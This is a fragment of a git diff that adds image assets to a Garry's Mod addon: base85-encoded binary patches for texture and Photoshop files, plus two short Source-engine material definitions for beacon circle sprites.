zKc~cvd7)0GdBFPm`{2I~?$I8E7=eGi9^;Ms!)agq!7K7UrY%~v9f|(0c^!4$xX)%m zo)I4+?)MP{@%Q&zjQa?J&q?|a{X5{%u^j#G;10{>JX)5M!=s&7EUx9%eVUc4`Ukw| zin~_*>>oOGqk2lXk9eO0XX_c6%89%E(CTvkNbyE>zPNW~MZCbf5V&_z+*ACIU&&`z zGJnCmJHwr;iSzHcTt{jriTfW1c<1LK+z0-=&SgF-dC-^z4<>E&;BVh197kNh&u2cz zY}{`7Tr|g9>Jxd`wmhgH_>m9bmzK+TY&oB(&9>D6{5j1BA&`2=v_H(_bL-QjX@NiU zl|=uL{{Qhj02m_=Kwr{4fW$EJ0QA82pt}DuxOqSE=X#L`a+}Bl+1xhXH#RDP|9NKY zk{A8KkvrrGIFtAN@&N5W<^j2Tb?=S2Re6OwubKCCJ9M}Z_r+cO3(W5&{@@b$7f1+< z`f-+l96yxQp$ z3g%xuT7cpAg)H&?(%a}t_&tFl{5}s)^k4FZp8lO*Sy>63x3)T3!UFS-{rOegKNGg4 zee!COw3~6<^-1smoF`rfGnP*?cF2Q`#%vz(0KW|#n9pYF!20^J+IQgr^&2{%-&+n~ zihOW;JX+?1&foUym$p9~kF5vrY>B_P7$1>y@<8)|Q>U!Q?GtJLAivkXO}`M&F>`zo z?j8P5vmnL~_`CW{9#|27ZWrSU(SZ}@bMT@j&cuOJ;$LsnXX*g{7Wgv{+@Un@?{?+Q z=H{V8;=j6@+bjO7x!hiP#&l8rkK=DVh`bNp829`A%}t*h+*ZY(j$-mY;y(Yx|EAnc z5%-J5Uf{1@h`+qkPY64KKf4S15%Ga}#lG=6=^^X8{NPRUj3d^27ktHGt&lH>3t^-u zPRLG2+zN$!{x86l1Ty9w>m>R7F`v)m z4{3JjK&8=mBGrM}#QTnD=lud(0eJby?{#%x2JR6Da8U6FhQF~~g!RY+TBBCr@3#G1 z;%UFYtkIZ>KW>Wuga4@yM{f~7YbR^?zj@%vlj6_M;p2L0` z@NJ0WN%8^nx#Pzxl?&p3^5jYJpK-qU5Bgo+^W3=y9WIK$IC-8{9@!35SD44G8~6{3 zhXQ|eLI2NYQ~Yze)k5Tb=!W=%JN|$5EYl0(|Kfk+jq>~sJX+o(2W$F)c#D65f7X-M zdMhmPhbBGi6&iHKf0O4D{~iPphkUM(7Z-G(r(W;$2h2Bj{7R015&pc@+Y;9-x**;= zTU%R;#pP?gPCl!p-Pd&gd_I|7zV;W_@b`)5&GC1y(`q&&FPH<6_ragXwhzQj{H=HK zue0rQf(P?8GH(|S_%B|4hkUTnupKkU0nKkPb^AB8DgKja2iR^CfAHOoJP~7m^nc^B_yd3VzlnqRdtLFrk$>V(e&36{ zzpxhgi}P>AA0Akb#0A#>_{QtT1M%nnf&W@3_5Xafko!3P#sP67FU*Ofyb%8t+KJ*E z@Pm6H=>-p3%?pY9C*UXkz(4amcrbHbK6ax6!~yDa7ymR5_z3^H_|G7W&$;~({^P(O z_yd1V{|JBcU9T_x-p_g&K^XDZF7YS-yLkH4snMy=$6x>V{qUZKcoLk|0g{_|Cz~VZLPP|fAD{c^{|Zp zss39|`4adS*W$f>0UiYYOZ^A-(0_Q*6Mqg5{DGBu1%L1+kF}})ul0Ie{Xd&4g#NSH zRsRcx4srjRSF+h8^uMH*!pYN#uYk$%oig$wghn*}I@3B3b%{Sypv)LM@{y%3v z#^YC-tybti)9@|*U;Ss^zP}lr(EpDS0K)(IJ^X*R9sL2o67iqwjny@Df2seY(0}H; z9PR4A_3|P4z$g44d;)(aI@Pb77gPUl)YqBkEx8X`hW^91Pv}3>-!(%2ckw@Qf^kCl z|MBC;!~ai=PU!!Hhlu}!Zi@erJB|!&Clb!1-)D1kllh*&A7CT@!;eG%e-r;B|L6F< z=6{?P`CpFsp5ou_iof#+n*Zers}cWiyfK|OSlrcr^rai|pX*2bU+Z?&f8gwj|6tH( zK1JhypZOGzz23p^t#9-^^k2NciY|BmZ}Y!Des5(Z7wx@5uh%o5_jvKdfbyST%`j1w zex5)8`S1Y~O2qzVD|A0eCd|kA7cc&Hrlk zW9#A%EDfKV-I4#}&&=Cv{2xdD2kh})0K!SZ|gUk z&n@%+UQhqqTPSvo$IxI)ea`cTc>vSX4MPX=osK+6lFnA}U~93XO_DA6pq+=ET%RvI zuANLm?^~@T^8fjKgLz4>Uv9NqV|mu7RLkNI4AK6B2NT;RGv*nTr!^w8_|Gd1=I#7x zA0DtCmHj~5+m;i))Z{&QGk>r7f4y#h=x98P_TMSyWfgzA@s8_9BN9M$bv)UgrTKrI z`906wr|yfxi4)^A{xk2RIz5@y(|%xXApTr0+JEvz|0k`8_W<=uqoV##r^D#~Su6H> z;t$?k`+o`mF8=u4A^U&!640al&-}Lb|A;LG&Q2*=n1~JcWmJ5haZ?MCBv)3=H_rZg$ln3X)Up>z-0cY4uHZi^@ME`WV9eAhn z@DlIm8)fw*(;RJkz1h4`P5pi{k$0z&5eEuuX+HpVpbiw6e=l?(o9|fv+NvmG z#C3GyRE!52qyOTLj2%t!-|hcj>-~8D1AB1uuK0uZk%!O^aAIEQhgPZnuJ|)OF!P}@ zFE9rtwgU=l;Gf)w8!}HY?|%T)c(uB02Nci~^~`yaAA{e>!QgrD&)t;9fgHpT|1R^c zs*hdf9gR59?+@P@obQ6~mhC96KTUO@7jXc6pQ^k0r5-RJ<(52Pn#$loHZKqU_HEog z@I>yX;)xEV_(F)ld1>2An_QZ2d{uv6luP2>Y$egoYmMubz?}&=e+2#~>y?r`M7JZ} zw-Ao~=oHgdGk@<-`?z!X{iNPlPj$aux17#b8*v|C)40E##{KR8)VPg)@>!$7e8$h6 zCQj5ZQjfFkIrH1z@ZbrEVm*(yCo}!d-}OUvL0m}xV|?(*+Oc*0mT6#__m+830bcx} z%kc-mU7Zm3^2g>4ypwHUiGF~+;GtgVx6uv&xR>D*{uk{)+;w0cQ0R5K>JNu?jYkE5 zH4iKlie2@JyfNZH4u?Gfdv@PNQw`2Zj-un~a^#^o&YW?tg=m3ZPL>}ZiYoP<` zyt!fqh3FoZ|rTVSdgX;{x;1F2s*CZ$}Fs7Ul`b*49o~1mIIP^gRRK zaUOZWFF22BS6Sx~e{Uy&`*{6m;NBkB=jzdTQr{5w*2yO-;?BI3(cg=^ZyV2$??(7N z^AB52;xoGc{0prUCwcEf+~2OPtNY^*>*RgRW4^8KKX>{={5Q?}8WsJ@xNduUL;$hg z!Ig19;E$t=KQa>YoRfw`zmM@j{L^(VAJ~K6FW>)dN8b1Gc{1e#?nNHR`+xdRi%E|C_grnYY~Mtv9M={a!x|zXzD``|(NUZGY_9 z_J^~0?*~0L)O~nR*H0!S6ieN2=tm#co@nS-%!kkX*2H~;U;Izj*4Onz^GEYOZqrcr z|7PTPVCOqeyK%;cV47E3*F7(k_R2@o5O+!o$fSvkj-D*@;yP8hMhRA6t;GP4@|`SBX!}` z^Q^}WuE|#Tb8>aD6Zl?STwCHC`)AD48F(}QtmiY|YV_*>cf@z%K|1aOd{f-VzY=$N zk>>fcv#ihX_07>}HWzo}f__iF$Gr8fE5F_dzo$K>-;bEM+InH0@)-9)yD-{&@p^_j(%l>y3!}v?HJ5{T?)kysyHG-`#N^ zyH@-e22c`z+_HB8zN{6B1KW+_FQ4|_xElx7y5^ba`XTd9{aE~whiDHP_kCV?F!1@a zh1FH#Sb@C$D!P_iTN{`U?--dz0V>K)Y9`WApZl$%Yl2u1Kd9P2XehG zJowJ$N};nQ4>J5={pWkVf%!qFvxxkFy7$KT)XCrO&uqw@`McRp@Li+5SRV?*4@6B_pK zksi*)eZ;)fzouNS1c z-Zw(`$2I(Z&s`@^*4Onz(n!|1eP|W>H1t!}Jz$-O*Y?AQyhWBc|Neb*)J7}>OgL-Ffbl~J34Uhvw8el9<1coSYPAkFBMp4T0df*@t*aY zXTEjg0`qNyK5>Bw=H)?eF=Raf*IDQ+Qk<^tsLz?sB5b>rHhY3KkA2IGP4F!Pxlyt2Hc7k$gW_M3RHX8ow^ z@?fP<{44#Y)7v3G{0}eW3FyIt0t+Zm-`U(?XuYpw^F4XM&k-MJ*7w9I-(w#C5PCx(&?c7}W%)-l@p11zrlH_- z(R~;?-`<`F?rqj_3Ec5_;~a2D`yLvkdXG+64^0F^eH`(-ddYT-^JGvaaW9jz| z{eDctL%$>6!|xgYU#V2}d;B}b{ffJ~e~O9!9oONuxK_%aUH4)a_fK2-LYg1_f`!$z zUvQODsK%l)p?%xj`paJglf$Jb49;gTMU}fc|7$1V)vu?%>58kx4 z#rh$^gTC>AP2vIX35fH{yr3r!R&rfdelzJQv&WA;*K6v#ND`%#(CFkA<pc;5%z3+ud>gUbz z>^=F3ZsYIwKHDT85cgz>yX&@yd+X$S)wuWXNB?Of;(U7+`91zVQy=Me2KS$>f1myX z{ifEau#Wvbube83AX4bP~7zcbwB07#h=&?GG3?$*<5eO{D4h(!25%q>&mcR z3=6D8p3oVvj?61BoCD`wK70iptaOGY@mk3*B5vUJp&Q`5RqFn;KZg#)kzc=rU8MGU z`upJ|wc+1C_xH!WE@?pAr`eiE9^Y(F%KG^Ma1`%MJDEp(pPj8P zdEUQygnk{`57q;}^WCp`-sQlZa8Ob2$LNH5+Cu2n*A}|3-j24{k6Q1p^JAW`F1!ye zErdS&{?vBld$bn=|BtuxKaKAfZL0&j?E>&gb%1#P<%6t`1g`1;-Fidwk5%$CpHF}G zd4Uxk5D$vospZKP2UB^SEB4_5>xp&yrQkuYw-Y?bUyQiGeONySJt*}0@__!k9sMU$ z*qW-N=X%p&=mP6)$cJpwXMLf^o;}C<8uG#ZU2TTz{TyD<4tQ67xZYk^7UYOHLLO*4 zL-^C}Mf!XDgRm_+1mgV3BChAUOx}m^fPdrX?RnMbAPo$CZ!Yus7VQLaXE`(0D|+rU z{Rn}(I$(YWT{cqOCxLrwyUsc<=k9|C5$C~?b)1Ov;H%z~_f^!_F*;y9x7xL|f9GWV zxPE`KRyk_FZHsk|!tdz_5Vy*2`OfQ$@cz8ty&m0jC9ki4NB;o+>iu)YBM}e4JKh&( z(RX>kx>1`c4~oHqY+*CTjpe}A@^X0S0Xn{u@?eMcq--zt=r;&G*scFRs(R^thJYrNDcs>zUEKsy@ks@bhH8;d9y!@VSZWb9K%5Z@goF;J&N#t?~Nf zAIF_IP}g6u-&gOEi@;soe_7l~1l4=_q5k6T74?{QW5oMy8uscn@PDR#|9QCn=kE9V zz3yN~ouR$Ij0fF#U$l~2J)$0<%Uz#W-IurGDG%VomgSQtp$F*2k_RQ@0x(Z+K^L-} z-d}y&xRCF$-rg+_n)h3eEBTA?;knb*#m() z`ZQTY`;GQt#PufqgYp-A(f1o3%&;Jnc@O@*q3%r@M?azS@FMbh`VZ^+yLqAWL?Qxs#SUg*Qu@>>hz>jC^+UZDHIi+pbgFIabt=3MXtT*GF1X97>QcWt_Vwg~&o z_4GL6z2`qe`_4Gj250ZnO0I9n!{+#UIpX=)_1V7t2yvk5bJ9!pp)tW>*wvHabYn17UlN%hwoXvhwi+cgn9w@ z9qS35m|Ab-@u3UoK=45ud?;+OzT7Pjs`u7Ee%==k(z~Jhi=KyGfd5e3&i%$-3!Mi4 z(2=D*_bb<>gFhFv#BKaun-KToy7+tChXq=-tWQ}AT_3wn-3|2H%ws(_a0l<7t+QNJ z$#OJDm#UVF{S$Eq=92tJ7Ff@X_8jd9amVlHe+lk11H<3jvpVaX{Ra0oxW5*-&o|OI zKd%PvyvY3`zx~Jh-TMy^ggdb-*|l!UgWfy1puLA>U=4INl=-c1rSJ zo!1|-#Chu}+u1DH-wnMYPORkrI^_d-e)v_s11~;UR|l;BY%(C9be+K-{J^r_s{9}? zTm)|59QIr+kj#-+b_w2WTho{+50`w#~O# z-jDUq4)8d$@Ow6Y?{?ikG#})_*7E%k?YXV!H)LJJPw)U-%@0TqB2QddOZ$-vo5P{; zj{NRj>jgYhT}af0SXXjkJ<{AeBOkK(xAnXN-XCbm>#cuY_g_nS(K{nAvf!vOW6VP@3O&gSKk{MY~W2fCFi#!Gk-d0n$TYuJBlzVLB>{|)ZH ze|!EP8uw3MPagD!)AT(ej%$8EKi>2;^nm`{$P=^K{!kv|Y5$qm(BCtS_<+A!FDr$g zgf2jz(qZZ=-}&pEh!b@1S)Z9qF20ICyy@9@&dKp}U#vrFR1#2oP~( zvH(Zo3GaWFHsUkz!z0(t;U0`m(Mk z%KDfQC)9_n;D!3Gj?&E^d~lt~lo!dh=x-vI(3u$1icsJT(cN55#`_8QhmRFXDdfI`>7-CyS~)MHg7F^o`pm^NsLt^1jRF zaji?&iRbt^;{^2c7XEF&P3w~Dwvx}+Dkc5H^?a=-+mGVS`-JP(W1VHNzo@?dYyI8l z-zlX$$Zu`EYy6^pwo(hud!HtGp?=+_e<+@VyujxI_YHC8{ZaJKJ;V3`%K`kf+b-;* zSy-0u&&(>N)X&pAzCF7fxc_QiEn82({!a$?PxD}R+j71;O?81VK6PE+Jma&h7xKI` zPQZs>9(ZbBKG~UuKH$gJr@CN0+rE$b-qS%ZSTC8lARdQ%@0J3Wr~W$Cjb!VZc-hYz z_JgG*&c`-@zkHkPFHhhR$H9Z(6@SEanwR2w2a+=O=7Z{he54%^cpqTB>d^DR8ULO% zN|C>@E#9qhHSjhsRR7>Z#PjyN5q?g$;y-!3cX9tbD<2j+X*-g1{fvCb((VsF^rl1G z6WMcHJJx45I~ZEOd(Z)S@wJP?;03xcbiOM5Ir7Vd_y55UbU(GdC0~-%a$xM=wap~* zF?g^%-gT;ZzcwiazUaV){A+^0_jR56_xJx8J-2;E{BF+5#x-<3;&^5}zyA|>Pv(zX z&Ia*Z`;XaA_j&dF-^zaL=PCi?PAqzz#tQ;_z;5l7L`{eGp9xA!Ah`JQzcQ53J=+0(8rGASR<} z#{xnGHpU`qm{nO=d~%z~oj#D20aBE(1raBWOre7ZhHMPFwYzu6@3uQ%@2=6&v;y%i zx7}~&eCPbm`OZDxxqJ7W5|T#<;px4e-cI`Sb}`{N`g`gMI0(U8`AfiIrk{C6`eCu8 z)f5rE#)fYU1HGQs_mY=WJOJpoAP5sMDJWRJvedGowMLheE2=+Pz9Kp&N#iE6n&bx< zzD9)xax{&p(7D=xxVumEZj5=(A&zs+q}Ww&OJhsWqQc!#aY^L6dm)r3$eLBfZ|-IK zWIUrN*Wx&*|E$i{!1yP)(l2eBcV)2NRkvFI$?s_YYJbU2hgcRtJjzkBn|87Il333T zqWo&V=|rT(%k;JUszCHc#IhGrA9&YXp6H4ZJHT_y)|OuHfJMh`;udDl1bZ91*SeRZ ze$rk`V-MoL`Fp7N^V~xDrORV*;R7GDr`69GgDX(%6bjLPmEy0}$M^uRx9sKIFQGhR z`;+Xq)*kTARm-^N&Y-`oqpw|xoNmlryp!;8!nJL|*bWE!cfi5ldJdfqBi8cGIldbb zUJrfPi2nF+)uG-$chHWLdhT=XPm>Sf{N+1VpUm>@1G{?#EeZ60Ez<7m@%QJ9&(GJz zid&bV7w!9?dR|23PaE$Z*zKO9lFR%Co-C+4hwFj3uGmOOufp|Bgd9dJ^A~9%Z?S$- z1qY4)=1=QCQ_S~LviALb=zo5v=v^GA=^NiqLtxgBf)KaIoMRKQc|eWz)qhOD^UsKl zXFxHLst-Z&S0fi7&XjMa`r8TZr>=U|uT4>L%flZO#wkAhZ6(+t#)ppqtglJeldjF2 zr_R5XbRVPk*#7X=5|3IwrPWie-hUwmOK;n^vicP6&}77GS-#EDHo4RPkn!;*`9A)6 zq|L`lO}xV4k|UCwj(6rLz?!A+vHodlsHXip9k142uCb}X?pFJok$|tIl8TeKAHrd? zln0dL`2M8gdHj6H+{L5$vo{f3KSP4indUveA~ujxr5@P+-aNs!Vu+uEDYOnqmYzXa#1+wA)E9E*294EiDNK-_+BqzmFS{PBK4inwLU z%M`q z+KDbe426jE_r<$te_-*CkabsVZ$18b@uc@NQ-34Gb)w1jkq+aXdH{xkFlgTKe{kG)-7Iw>&eY#Cr{5ni4LFa`2_`kK6`l7>T@H!OFG4g{ULkD_#{^mgbx@d4-&o{<@jA#1I#C`SrkUtod z!~TH|T(8e^zRY$0==?KbKF=SFmG^~v+5Szx36FkJ&2N+W7b+*t54w}|-7Q=}2kcb+ z*oOAWA$Y{>H>C2x{$Dbg{cPnafAw?IeC*q!2})<2-;^eR4*x(WV!krF`K?kjUrviA z=k1MXf6V9<2t6_o8&8RAd;IhzXq?ZqQRVq*T!+}2%oo29@hq!SuihfWNqzB)R}mL9 zi{6?a)A502Q6b$4c79oC=UTILF{|gwCp@1|?b}f9p&=mO!Z1Bgzjre{{h-3#{0hp& n4h5&@(e@+;Hg6jaC~~U_^{G8@%-+fDO^tRf>rwg3wx0e1cv_+C literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vmt new file mode 100644 index 0000000..c8c3a11 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_circle_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_add.vtf new file mode 100644 index 0000000000000000000000000000000000000000..c3a8967bd0c43edc0423add1bcaf32a5011e639e GIT binary patch literal 2952 zcmc&#L1^4o5FJT;vhrqO5BcDu4Hcv`Ipna=URo)JoO<}!`jQ$ppr-Wh1`4sEMl85s zs4pSPEymcmg@TXnEk-%Gz4@kVz0gB?%dI)8^S)Mb*=6gsajBNww|_JvP;6^rWzSU=p6!G1em2d`>|tA-Alm#g>j~&R|KqK#$TGdMY}%8}~oHerf7GcMaY} zjqlID;vTB1FHXe>(Z5x-*WF+=dQV5FqjcQgMQijC=P!{*={baW`AJbPG>kYuqCZ*T zw@)|^#vku--i(lc#Ax)|Iq&BJ>|FSXlY&Nmr`G44uNq!H57(yScY9qbRQTeE&xQS7 z6!-Xh*h#iCejLI1@Oh;fjd&*F!26zX9i#87{{H;cc*o;_pE`~~mn_i(PhX`)qi4=5 zm!_|YGXIw==G*w2hRuG|=V@DpHwqJ==(rZ-sY?3O?5|4>9#?oh@T%3+uc|@UavU3V z6Gl;dT|CqLpzmd#m*Dk_BCD#kQ_Hcb#rH)R$Cs|NX*|>9Z@6z{j(NUz>K7UJ?b<2X zjs<=l#}joq&CgZk=v!Up+z-r~6}eBP-viks@o+n)J`su1VX7nWH6|XZQ^a+oRYu|@&59|2`9?K@4Z@53A_w|N3>A0eI z%yTnY^@*q7wZwt>!}&<~^*R>UThJ;}HPPqKp4W2<_Y~Q#nMeKAf<|#q=wGz&BfB2* z?R6aHWxrXPfal-l`FR{ciyW^!tNxfz`64m*Xf&ipZx@iy(A2Tk3jM@uZzOLUy}Zr$ z)(4BOv130)5?{nSEgzhdn`^zpNOYI`_9tefBhx=TI!CA~j+5mZwcb;{cX*!8aL@k@ D-GJKT literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vmt new file mode 100644 index 0000000..1c278ee --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_circle_edged" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circle_edged.vtf new file mode 100644 index 0000000000000000000000000000000000000000..10dd0ec45d061c5a5eacc34c3e2002a56eedea74 GIT binary patch literal 5696 zcmds5ZD^BM6uxiL*hChSxrJ4VYju{P2#V1DnIo@%I+Zbk5?g=Lbgr)W!<6o1gnOC{+S(u6Or;-bY|^uH?wkAOU0vXl=_uQ|Rc}rO?W6Xpf4}Mhqdv`Tc6#Pw3`=!_1@}utkq z{0_w!rRRf+zv|rrA zIbp_Z={CTr-(Sx8&2H*vEWdyC@-t`8o|X9SHy6J;bLQN+_eQrKaVMH{uEkI0RUJH7 zwKl$_8Ioa)?M8r;d1l4lvn~$fVR*Tda8#`; zKlOX0I)86X@*2iNyxDZcI2yx8mT2nVP{c``NnduHlg@r!lh2EoQ zzLq6mG7K|rl2g7m%_Ih3rd7O8d7JM&*^lp!cR=Dp!j#X`v98+D$nL)57(eBeJw#Km zp+wWSrEz$Nh6DU`%$@8#UoG@0-z;4L)Np+EL8Q7bvinVmZK0BTNis?K;M@*JAL#rz zH!(Q+wOR7zJjiUJ=G4uMex0y)KGZAiJ>u^^`Kug~a!4xxY_W2eWx;%Eyynk0hD}og z#{=zoJ?cL4ccD>_XK83Emc$_x{CZrj1?{0h&ECIjE!R3yKf!}0;ji55J)FqYPm#s4 z;P_`7U&|CZ*Xqyb@pxJiTKx?mFLYm&t^I}GZ=It0jTewVbnmltV)5Uv75R6$diX-` zXDhc{N9RqcKC6%RaV8~%03>gObW@K>hYq#11tLs{vMeR zu(u-LAYXa{Q**nvlGYnLPQb=~#IWIBKdql8&Km>?dJ+jeZtwqrTc-?EX&M-x9};)g+!$o-M)^M}TRU&i$@yc102|YhGBHn{*WW0;zyJZev^WoB# zWXixd&8IPj>uH;DeZI95j|+PIlE;&4Z|w{i{E2wVJgT|Hk<5h|Js%pMf1Zz&^8Hck zihxKPP9J^#3;QmMEyKq@N;%G81kV)vM^%G=5wF)1NGYG1ilV0IeD#ns7}>qAq#`Ee zAZ9XS$EkjKn=8YwYWwrWm$Lo1{8w#PNj|L27mZJuH)rtt+kFR8KTEy^op|``k0m9R zd}+QFS?q@KCU1}P_k7EVkIz#VD7=A(S4iHJe67uR{z!)P`6Brbz)+r|m`xJD=q>S4 z)o3vH5S@P#ZplCL$MhXA>{l6{@pi?OS-&&=&-XabA7@?{(r0j$nZ9LKHNzjmkZgTq z`~mX1n8}>|`8&N|%pcd&%4fWt1%v9<3GMtT`R5+O`yn1dC6;jxVB9A2|A#;E2}Yx8 z?&oy>jTcD1EZXgu{n0TjvE)zdh0Xrt?*r1`lWvJmpw8oC(WbFiI>z+QF=|vpM5LhQDqzyZ@}l}uTH|`T}Oky-_PYc7n|!N zmB#y*I$F`(NWF!@inI!+pK58~4+$ y3Oyd{e!AVZ7R!8H=@3{yZ)zBFrQG%z$qSZAjP}62;uGDTW#rDrUW31E`TPmL5|zLJ literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circlestyle.psd b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_circlestyle.psd new file mode 100644 index 0000000000000000000000000000000000000000..9250070f6a07b513dd09732f5992f2daf3703548 GIT binary patch literal 34272 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 